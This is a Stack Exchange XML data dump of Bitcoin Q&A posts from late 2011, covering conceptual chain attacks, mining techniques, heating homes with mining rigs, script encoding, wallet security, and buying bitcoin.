  <row Id="2278" PostTypeId="1" CreationDate="2011-12-19T17:25:01.923" Score="5" ViewCount="156" Body="&lt;p&gt;If an evil computer network wanted to attack Bitcoin, would they need to have more computing power than the present Bitcoin network and then attack a current block, or would they need even more to go back and recalculate all the checksums in the block chain since day one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am thinking that as history continues the work required grows and therefore the need for more computing power makes an attack of this sort less feasible.&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2011-12-19T18:40:00.790" Title="Current block vs whole block chain attack" Tags="|attack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2279" PostTypeId="2" ParentId="2278" CreationDate="2011-12-19T17:45:52.907" Score="0" Body="&lt;p&gt;While rewriting a lot of already existing blocks is not feasible, having 51% of hashing power would be sufficient to kill Bitcoin project, if that is the intention. Because it opens many different ways to attack Bitcoin network, the most frightening is the ability to execute double spend.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-12-19T17:52:40.807" LastActivityDate="2011-12-19T17:52:40.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2280" PostTypeId="2" ParentId="2278" CreationDate="2011-12-19T18:40:00.790" Score="1" Body="&lt;p&gt;Changing the blockchain at a point earlier than the most recent checkpoint is impossible, at least with the main client. It won't be accepted by those clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can fork the chain at any point, but the most current block is the easiest as it does not require to backtrack and solve the previous blocks. Unless you have some specific transactions you want to invalidate, you would start from the current block.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-19T18:40:00.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2281" PostTypeId="1" AcceptedAnswerId="2282" CreationDate="2011-12-19T18:47:13.693" Score="1" ViewCount="1026" Body="&lt;p&gt;Just changing the nonce of a block to be mined is not enough to cover enough hashes to solve it. What are the most common tricks used by the mining software and pools in order to create enough getwork variants to solve the block? Which can be done only by the pool, and which can be performed by the miner?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2016-02-01T23:45:08.707" LastActivityDate="2016-02-01T23:45:08.707" Title="Mining software and pool tricks" Tags="|mining-pools|nonce|mining-theory|block-header|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2282" PostTypeId="2" ParentId="2281" CreationDate="2011-12-19T19:48:07.650" Score="2" Body="&lt;p&gt;The generation transaction has an extraNonce value in the coinbase field, which is the default value to change to get a new getwork. This is generally done by the pool but can also be done by the miner if he gets the relevant Merkle branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The timestamp also can be changed by the miner, and the entire list of transactions changes occasionally on the pool's end.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-19T19:48:07.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2283" PostTypeId="1" AcceptedAnswerId="2284" CreationDate="2011-12-19T23:25:32.730" Score="29" ViewCount="9224" Body="&lt;p&gt;One of the waste products from Bitcoin mining is the heat that is given off by the GPUs. On cold days could this excess heat be used to warm a home, essentially creating a data furnace? When it gets warmer then the rig can be optionally shut down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, the income generated from mining bitcoins at least pays for the electricity so long as you have a rig that is capable of meeting the difficulty. This would therefore imply that so long as you have already got a suitable rig lying around the house (e.g. for gaming) then running it up during the day would be useful. If the house also had solar panels then that would also benefit the earning potential.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any calculations available to support/refute this?&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="5406" LastEditDate="2016-02-01T23:43:17.640" LastActivityDate="2016-02-01T23:43:17.640" Title="Can I use Bitcoin mining as a data furnace to heat my home?" Tags="|mining-setup|mining-hardware|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2284" PostTypeId="2" ParentId="2283" CreationDate="2011-12-19T23:53:20.607" Score="21" Body="&lt;p&gt;Yes, you can use a Bitcoin mining rig to heat your home.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether or not it's worth doing depends on a number of things, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Whether you have a heat pump, or would otherwise install a heat pump (they generally give you 3kW of heat for around 1kW of electricity)&lt;/li&gt;&#xA;&lt;li&gt;Whether of not you have other heating that is more cost effective than electric heating (eg a wood or gas fire)&lt;/li&gt;&#xA;&lt;li&gt;Whether it's convenient to have a mining rig in the location you want heated (you lose efficiency if your heat is produce away from where you want it)&lt;/li&gt;&#xA;&lt;li&gt;The current exchange rate of Bitcoins (and the difficulty of mining them), and how those values change over time for at least the payback period of the mining hardware&lt;/li&gt;&#xA;&lt;li&gt;The price of electricity&lt;/li&gt;&#xA;&lt;li&gt;The noise produced by a mining rig. They tend to be quite noisy, so it may be a disturbance to leave it running overnight&lt;/li&gt;&#xA;&lt;li&gt;Your technical ability to maintain the equipment, and your time available to do so. If it has a problem and you don't have time to fix it, you stop earning mining income.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's no guarantee that mining earnings will pay for the electricity to run them, let alone pay for the cost of the equipment and the labour incurred maintaining it - this is dependent on the demand for Bitcoins, and your costs. There's always a risk that the exchange rate will drop to the point where it's not worth mining at all, or that new technology (eg &lt;a href=&quot;https://bitcoin.stackexchange.com/a/782/516&quot;&gt;ASICs&lt;/a&gt;) will make your hardware obsolete before it's paid for itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any web-based profitability calculators that exist won't necessarily take into account all the factors above, and none can predict the Bitcoin exchange rate, so their usefulness will be minimal. I recommend just creating a spreadsheet to do the calculations. To include the value of the heat output in your calculations, consider what you would need to otherwise spend to obtain the same heat output, and include that figure as profit on top of the mining profit (but also of course account for the cost of electricity to run the rig).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To predict the electricity usage of a particular setup, see this &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;hardware comparison&lt;/a&gt; - a carefully built rig can run 4 graphics cards which might output 600-800W (or more) of heat. Using a desk fan (or similar) to keep strong air flow on the rig should reduce the potential of a convective flow of air taking the rig's heat straight up to the ceiling, where it won't be felt in cold weather.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-12-20T01:57:25.363" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2285" PostTypeId="1" AcceptedAnswerId="2792" CreationDate="2011-12-20T13:55:55.777" Score="6" ViewCount="1370" Body="&lt;p&gt;When using &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Constants&quot; rel=&quot;noreferrer&quot;&gt;OP_PUSHDATAs&lt;/a&gt; in different Scripts, how are the next bytes denoting the amount of bytes to be pushed encoded? Are they to be treated as unsigned integer, or signed (like the data that is taken from the stack?)? Are they big endian, or little endian?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_PUSHDATA1    76  0x4c    (special)   data    The next byte contains the number of bytes to be pushed onto the stack.&#xA;OP_PUSHDATA2    77  0x4d    (special)   data    The next two bytes contain the number of bytes to be pushed onto the stack.&#xA;OP_PUSHDATA4    78  0x4e    (special)   data    The next four bytes contain the number of bytes to be pushed onto the stack.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-29T21:43:42.283" Title="Script - OP_PUSHDATAs" Tags="|development|bitcoin-core|standard|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2286" PostTypeId="2" ParentId="2240" CreationDate="2011-12-20T19:07:34.587" Score="14" Body="&lt;p&gt;I'm the owner of StrongCoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben has detailed just about every possible risk with StrongCoin. You can read about how we handle server security in our &lt;a href=&quot;https://www.strongcoin.com/blog/frequently_asked_questions&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not in my interests to defraud my customers, I'm pretty easy to trace and I don't fancy having angry users knocking on my door&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So with Bitcoin like cash there are risks with storage, I lost a wallet.dat which spurred me to build StrongCoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;StrongCoin is a convenient way to store and spend Bitcoins. I recommend you hold your spending Bitcoins in StrongCoin and use an &lt;a href=&quot;https://www.strongcoin.com/blog/the_easiest_way_to_create_secure_offline_bitcoin_transactions&quot;&gt;offline mechanism&lt;/a&gt; for your savings or high value holdings.&lt;/p&gt;&#xA;" OwnerUserId="293" LastActivityDate="2011-12-20T19:07:34.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2287" PostTypeId="1" AcceptedAnswerId="2296" CreationDate="2011-12-20T23:12:06.890" Score="6" ViewCount="5265" Body="&lt;p&gt;I have the Bitcoin client installed on my Windows PC, but I want to set up a savings wallet with better security that I access with an Ubuntu live CD. I don't want to have to download the entire blockchain though - can I use my blockchain from Windows in the Ubuntu OS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And how can I copy the blockchain from my existing Windows client installation to, say, a USB stick for use by an Ubuntu live CD, then into the Bitcoin client folder? &lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2014-05-18T11:00:10.877" Title="How can I copy the blockchain from my working client for use with a live CD savings wallet?" Tags="|security|blockchain|bitcoin-core|linux|windows|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2288" PostTypeId="1" AcceptedAnswerId="2298" CreationDate="2011-12-20T23:28:58.533" Score="11" ViewCount="2076" Body="&lt;p&gt;It's clearly safe to create a savings wallet offline with a live CD, as no data can be sent to an attacker even if the live CD image is compromised (which seems unlikely).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when it comes to sending a transaction from a savings wallet, the client must be connected to the internet, so the risk increases. If you create a live linux CD, with an OS such as Ubuntu, it is out of date within a fairly short time of it being created as the live CD does not receive the latest patches that a permanent installation normally receives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably this means there's a chance (however small) that when you use the live CD and connect to the internet a security hole will exist that can be exploited to steal your wallet and wallet passphrase next time you enter it. &lt;strong&gt;How big is this risk?&lt;/strong&gt; (Am I just being totally paranoid?!) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The severity of the risk is obviously a difficult thing to determine in the context of all possible live CDs, so perhaps a better question is this, if the first one is too difficult: &lt;strong&gt;have there previously been any security holes in live CD releases that allow an attacker to remotely control the computer?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-12-21T09:41:06.673" Title="How safe is it to use a Linux live CD to access my savings wallet?" Tags="|security|wallet|linux|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2289" PostTypeId="1" CreationDate="2011-12-20T23:50:48.820" Score="10" ViewCount="8573" Body="&lt;p&gt;Does anyone have an PHP code that can do what is done on this website:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.bitaddress.org&quot;&gt;https://www.bitaddress.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely create private keys and associated public addresses?&lt;/p&gt;&#xA;" OwnerUserId="598" LastActivityDate="2012-01-09T15:34:04.880" Title="PHP script to create private key &amp; public address" Tags="|development|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2290" PostTypeId="2" ParentId="2283" CreationDate="2011-12-21T00:57:21.473" Score="3" Body="&lt;p&gt;I live in Florida so it's not very cold but when it does dip down I just start mining :D and tuck myself into bed!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, most people have to pay for electricity to heat their homes anyway so the fact you get Bitcoins is just an added bonus to the mining-for-heating!&lt;/p&gt;&#xA;" OwnerUserId="809" LastActivityDate="2011-12-21T00:57:21.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2291" PostTypeId="1" AcceptedAnswerId="2292" CreationDate="2011-12-21T02:26:10.170" Score="7" ViewCount="1245" Body="&lt;p&gt;When is the Bitcoin payout for solving a block going to change?  What happens when overnight it is half as profitable to process a block?&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="5406" LastEditDate="2016-02-01T23:40:41.153" LastActivityDate="2016-02-01T23:40:41.153" Title="When is the Bitcoin payout for solving a block going to change?" Tags="|mining-reward|reward-schedule|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2292" PostTypeId="2" ParentId="2291" CreationDate="2011-12-21T02:53:52.383" Score="5" Body="&lt;p&gt;It halves from 50BTC to 25BTC block reward after 210,000 blocks, which at 6 blocks mined per hour by my calculations works out to be in 358 days, which is around &lt;strong&gt;Dec 13th, 2012&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely that the number of active miners will reduce substantially at that point, but within a relatively short time the difficulty should adjust down so that approx 6 blocks per hour are mined again. In the time it takes this to happen, transactions may take somewhat longer to be processed and confirmed.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-12-21T02:53:52.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2293" PostTypeId="1" AcceptedAnswerId="2294" CreationDate="2011-12-21T06:48:07.697" Score="99" ViewCount="222480" Body="&lt;p&gt;I want to buy some bitcoins. Ideally, I would like to buy them on the MtGox exchange (because the consensus seems to be that this is the most reputable exchange), however I have found the system for transferring USD to MtGox to be very disappointing. I would have liked to be able to add funds with PayPal or directly with a credit card, however both of these are not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question has two parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there an easy way to use a credit card to add USD funds to my MtGox account. Liberty Reserve, Dwolla, and Paxum seem to be the financial institutions of choice for MtGox and the rest of the exchanges. Is any of these simple to fund using a credit card, or are they all basically PayPal analogues (which Paxum seems to be) that require a large amount of setup?&lt;/li&gt;&#xA;&lt;li&gt;If it is not possible for MtGox, is there another, hopefully reputable, exchange that I can use PayPal or a Credit Card to buy bitcoins with?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="811" LastEditorUserId="5406" LastEditDate="2021-03-26T20:24:48.083" LastActivityDate="2021-03-26T20:24:48.083" Title="How can I buy Bitcoin via a Credit Card or Paypal?" Tags="|exchanges|mtgox|paypal|bitcoin-credit-card|canonical-question|" AnswerCount="17" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2294" PostTypeId="2" ParentId="2293" CreationDate="2011-12-21T07:31:48.127" Score="53" Body="&lt;p&gt;I did some more digging on &lt;a href=&quot;http://bitcoin.it&quot;&gt;bitcoin.it&lt;/a&gt; and answered my own question. &lt;a href=&quot;https://en.bitcoin.it/wiki/FAQ#Can_I_buy_Bitcoins_with_Paypal.3F&quot;&gt;According to the FAQ&lt;/a&gt; and the &lt;a href=&quot;https://en.bitcoin.it/wiki/Payment_methods&quot;&gt;list of payment methods&lt;/a&gt;, the reason that Paypal and Credit Cards are not accepted is to prevent fraud (by doing a fraudulent charge-back). For this reason, none of the exchanges accept these as forms of payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, you cannot (directly) use these to buy bitcoins at exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I did have some luck buying some Bitcoins using Paypal using &lt;a href=&quot;http://bitcoin-otc.com/&quot;&gt;#bitcoin-otc&lt;/a&gt;. It takes a bit of setup and it's a bit more expensive, and you can't buy in significant quantities but it's possible you can find someone willing to sell to unrated users (liked I did).&lt;/p&gt;&#xA;" OwnerUserId="811" LastEditorUserId="811" LastEditDate="2011-12-31T01:50:15.707" LastActivityDate="2011-12-31T01:50:15.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2295" PostTypeId="2" ParentId="2293" CreationDate="2011-12-21T07:39:42.923" Score="31" Body="&lt;p&gt;PayPal's user agreement prohibits the use of their payment network for buying digital currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an approach.  With VirWoX you can buy SLL and pay with either credit card or Paypal.  Then you can trade your SLL for BTC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.VirWoX.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.VirWoX.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sporadically you will find inventory on BTCQuick:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://btcquick.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://btcquick.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And finally, there is the ability to deposit cash at a bank (presuming you are in the U.S.), so the need to use something like PayPal has lessened.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitinstant.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.bitinstant.com&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are a U.S. citizen and don't mind going through an ID verification process, you can buy bitcoins and litecoins instantly with a credit card at &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.coin.mx&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.coin.mx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="42185" LastEditDate="2019-04-11T01:37:24.867" LastActivityDate="2019-04-11T01:37:24.867" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="2296" PostTypeId="2" ParentId="2287" CreationDate="2011-12-21T08:14:59.207" Score="4" Body="&lt;p&gt;You can find the blockchain in this directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&#xA;or&#xA;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As blk0001.dat and blkindex.dat. Copying those files to &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Locating_Bitcoin.27s_data_directory&quot; rel=&quot;nofollow&quot;&gt;a proper folder&lt;/a&gt; on your Ubundu (~/.bitcoin/) should spare you from redownloading the entire blockchain.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-21T08:14:59.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2298" PostTypeId="2" ParentId="2288" CreationDate="2011-12-21T09:41:06.673" Score="4" Body="&lt;p&gt;Security is always an issue and complex systems like operating systems are prone to attacks. However, it is possible to use an offline machine to create the signed transactions and then export them to another machine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example a soft copy of those signed transactions could be copied on to a fresh USB stick, or printed out on paper as plain text or QR codes and so on. These transactions could then be imported into an online Bitcoin client that does not have the private keys, but can just transmit the transactions to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your private keys are always held offline and thus only exposed to physical attack vectors which should be sufficient to relieve your concerns.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-12-21T09:41:06.673" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2299" PostTypeId="2" ParentId="1952" CreationDate="2011-12-21T09:48:42.760" Score="2" Body="&lt;p&gt;One possible location would be &lt;a href=&quot;http://nowhereisland.org/about/frequently-asked-questions/&quot; rel=&quot;nofollow&quot;&gt;Nowhereisland - a new nation born from an arts project&lt;/a&gt;. It is extremely liberal in it's views and is still in formation.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-12-21T09:48:42.760" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2300" PostTypeId="1" CreationDate="2011-12-21T13:47:19.320" Score="15" ViewCount="8365" Body="&lt;p&gt;Is there a way to import my wallet from Bitcoin.org's client into the much lighter Multibit or Electrum?  The disk space &amp;amp; bandwidth consumption (not exactly well presented to a beginner) quickly made it unfeasible on home computers.&lt;/p&gt;&#xA;" OwnerUserId="807" LastEditorUserId="516" LastEditDate="2012-06-08T08:22:14.167" LastActivityDate="2013-01-16T19:32:56.777" Title="Copy wallet to Electrum or Multibit?" Tags="|client|wallet|thin-clients|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2301" PostTypeId="2" ParentId="2293" CreationDate="2011-12-21T13:51:57.573" Score="7" Body="&lt;p&gt;Buying bitcoins for credit card or PayPal is very problematic, but all hope is not yet lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every now and then a new service pops up that thinks it cracked the secret of how to do this sustainably - &lt;a href=&quot;http://www.mrcoins.org/&quot;&gt;http://www.mrcoins.org/&lt;/a&gt; seems to be the flavor of the month. Such services usually take a very high fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://coinpal.ndrix.com/&quot;&gt;CoinPal&lt;/a&gt; was a great service when it ran, and they said they're considering returning with credit card payments. They know what they're doing so they may actually pull it off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;http://www.memorydealers.com/&quot;&gt;http://www.memorydealers.com/&lt;/a&gt; sell casascius physical bitcoins which you can buy and redeem (or not).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-21T13:51:57.573" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2302" PostTypeId="2" ParentId="2300" CreationDate="2011-12-21T15:02:49.890" Score="7" Body="&lt;p&gt;Speaking as one of developers on MultiBit, it is not currently implemented at the time of writing (Dec 2011) but there are serious development efforts to consolidate the wallet file format to suit all major Bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expect to see this functionality in Q1 2012.&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2011-12-21T15:02:49.890" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2303" PostTypeId="1" CreationDate="2011-12-21T16:52:00.243" Score="-1" ViewCount="509" Body="&lt;p&gt;I'm not understanding how to protect my bitcoin value from inflation.  IF I purchase bitcoins with US dollars, how to I educate myself to how to protect the value of my bitcoins in my wallet so that those bitcoins do not lose value, compared to the USD I used to buy them?  I'm not looking to use bitcoins as an investment, I just want to know that when I buy and spend bitcoins, their purchasing power is at par with my original USD or higher.  How do I educate myself to achieve this?  Sources/resources/your personal information.   ???&lt;/p&gt;&#xA;" OwnerUserId="813" LastActivityDate="2014-05-30T21:08:06.897" Title="Need help, understanding bitcoin value protection" Tags="|value|" AnswerCount="3" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2304" PostTypeId="2" ParentId="2303" CreationDate="2011-12-21T17:53:08.110" Score="-1" Body="&lt;p&gt;Inflation would increase the value of your Bitcoins. Inflation means the dollars you used to buy the Bitcoins are worth less, thus if the value of the Bitcoins holds steady, they are now worth &lt;em&gt;more&lt;/em&gt; dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you would need protection against is deflation, the dollar gaining value, or the value of Bitcoins dropping due to changes in supply, demand, and hype.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-21T17:53:08.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2305" PostTypeId="2" ParentId="2303" CreationDate="2011-12-21T17:59:44.737" Score="6" Body="&lt;p&gt;The value of Bitcoins will fluctuate against the dollar -- for a number of reasons, including the price rising as the result of speculation or from demand for the currency.  The price can and has dropped -- for various reasons as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to hold bitcoins, then you expose yourself to those fluctuations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you simply want to use bitcoins for spending without exposure to the fluctuations, here's one method: When you add money to a bitcoin exchange, leave those funds as USDs and only exchange some of those funds to bitcoins at the time that you plan to make your purchase which uses bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you are not exposed to the exchange rate fluctuations.  Do keep in mind that when holding funds at a bitcoin exchange you are trusting that the operator of the exchange is administering properly and keeping your funds (your USDs and your BTCs) safe.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2011-12-21T17:59:44.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2306" PostTypeId="2" ParentId="1166" CreationDate="2011-12-21T21:30:17.937" Score="0" Body="&lt;p&gt;I'd second &lt;a href=&quot;http://betwithbtc.com/&quot; rel=&quot;nofollow&quot;&gt;http://betwithbtc.com/&lt;/a&gt; as a good resource for gambling related bitcoin sites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along with the bitcoin centric poker sites mentioned in other answers switchpoker.com takes bitcoin as a payment method along with other more traditional payment methods. &lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-12-21T21:30:17.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2307" PostTypeId="2" ParentId="2303" CreationDate="2011-12-23T17:17:52.857" Score="1" Body="&lt;p&gt;Investing in Bitcoin is speculation just like most other form of investments. Assume, you only have two options, USD and BTC, the are two possible outcomes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The value of BTC goes up against USD. Thus, you win, if you bet all your money on BTC.&lt;/li&gt;&#xA;&lt;li&gt;The value of BTC drops against USD. In this situation, you loose if you invest in BTC.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;They are investment strategies to limit the possible losses. You could try the following strategy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Buy 1 USD worth of BTC.&lt;/li&gt;&#xA;&lt;li&gt;State: &quot;In the worst case, I do not want to loose more than 10% of my investment (in USD)&quot;&lt;/li&gt;&#xA;&lt;li&gt;State: &quot;The yearly inflation rate is 1%&quot;&lt;/li&gt;&#xA;&lt;li&gt;Now, your stop-loss price for your BTC, is 0.9 * 1USD * 1.01^y, where y is the time in years since you have bought your BTC (for 1USD). Initially, this is 0.90USD, rising as the inflation goes.&lt;/li&gt;&#xA;&lt;li&gt;Constantly observe the rate at which you could sell your bitcoin (after all fees). Initially, this is about 1USD (neglecting fees). If this price falls below the stop-loss price, you sell your BTC.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This was you are immune to market risks and (USD) inflation.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2011-12-23T17:17:52.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2308" PostTypeId="1" AcceptedAnswerId="2309" CreationDate="2011-12-23T22:48:27.357" Score="10" ViewCount="5721" Body="&lt;p&gt;&lt;a href=&quot;http://www.bbc.co.uk/news/technology-16316439&quot;&gt;Raspberry Pi $25/£16 PC article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw this article today and it looks like a really interesting development in budget computing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a $25 barebones computer that runs Linux, and can play games like Quake 3 Arena with no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is would we be able to run GPUs/FPGAs with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing FPGAs are feasible since there are USB ports to connect them to, but what about GPUs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE: The Raspberry Pi would only getwork and pass it to the FPGAs/GPUs. I didn't mean mining directly on the Raspberry Pi itself!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-02-01T23:39:58.157" LastActivityDate="2018-04-06T11:38:36.230" Title="Could the $25/£16 Raspberry Pi computer be used to run mining equipment?" Tags="|mining-setup|mining-hardware|raspberry-pi|gpu-mining|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2309" PostTypeId="2" ParentId="2308" CreationDate="2011-12-23T23:53:17.967" Score="7" Body="&lt;p&gt;Yes and no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as FPGAs are concerned, I see no reason why you should not, technically, be able to handle a getwork on one of these and pass the work units to one or more FPGAs via USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These units do not, however, have a PCIe slot nor do they have any connectors which, to my knowledge, are capable of connecting to an external PCIe enclosure box, so GPU mining is out of the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real problem you're likely to run into is software. The Raspberry Pi uses an ARM processor and runs on a custom-compiled version of Debian. All software running on the device will have to be compiled from source (since most projects don't just release ARM-compatible executables) and even then some software simply might not work. I'm not an FPGA expert by any means so I've got no idea what kind of software is required to speak to that particular hardware, but I do at least know that software &lt;em&gt;is&lt;/em&gt; required and you'll probably have to do some tweaking to make that hardware work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, it's technically feasible, but don't expect it to be easy (or done for you).&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-12-23T23:53:17.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
